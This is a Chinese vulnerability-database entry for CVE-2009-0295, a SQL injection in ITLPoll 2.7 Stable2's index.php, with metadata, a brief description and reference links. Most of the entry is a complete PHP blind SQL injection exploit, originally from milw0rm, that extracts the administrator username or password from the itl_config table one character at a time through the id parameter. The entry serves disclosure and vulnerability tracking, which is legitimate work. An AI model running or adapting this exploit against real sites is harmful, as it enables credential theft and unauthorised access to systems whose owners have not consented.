Information Technology Light Poll Information index.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117300 漏洞类型 SQL注入
发布时间 2009-01-26 更新时间 2009-02-05
CVE编号 CVE-2009-0295 CNNVD-ID CNNVD-200901-374
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7867
https://cxsecurity.com/issue/WLB-2009010229
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-374
|漏洞详情
InformationTechnologyLightPollInformation(ITLPoll)2.7稳定版2中的index.php存在SQL注入漏洞。当magic_quotes_gpc被中止时,远程攻击者可以借助id参数,执行任意的SQL指令。
|漏洞EXP
<?php

function usage ()
{
    echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
         "\n[☢] Usage   : ./itlpoll.php hostname path <username or password>".
         "\n[☢] Ex	: ./itlpoll.php localhost /itlpoll password".
	 "\n\n";
    exit ();
}


function query ($func, $chr, $pos)
{   //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
    $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($host, $path, $func, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($host, 80);
    $query = query ($func, $chr, $pos);
    $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
           "Host: {$host}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/EXPIERED/", $reply))
        return false;
    else
        return true;
}


if ($argc != 4)

    usage ();

$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;

echo "[☢] Creds: ";

while ($pos <= 32)
{
    if (exploit ($host, $path, $func, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}
echo "\n";
?>

# milw0rm.com [2009-01-26]
|参考资料

来源:BID
名称:33452
链接:http://www.securityfocus.com/bid/33452
来源:MILW0RM
名称:7867
链接:http://www.milw0rm.com/exploits/7867
来源:SECUNIA
名称:33666
链接:http://secunia.com/advisories/33666
来源:OSVDB
名称:51616
链接:http://osvdb.org/51616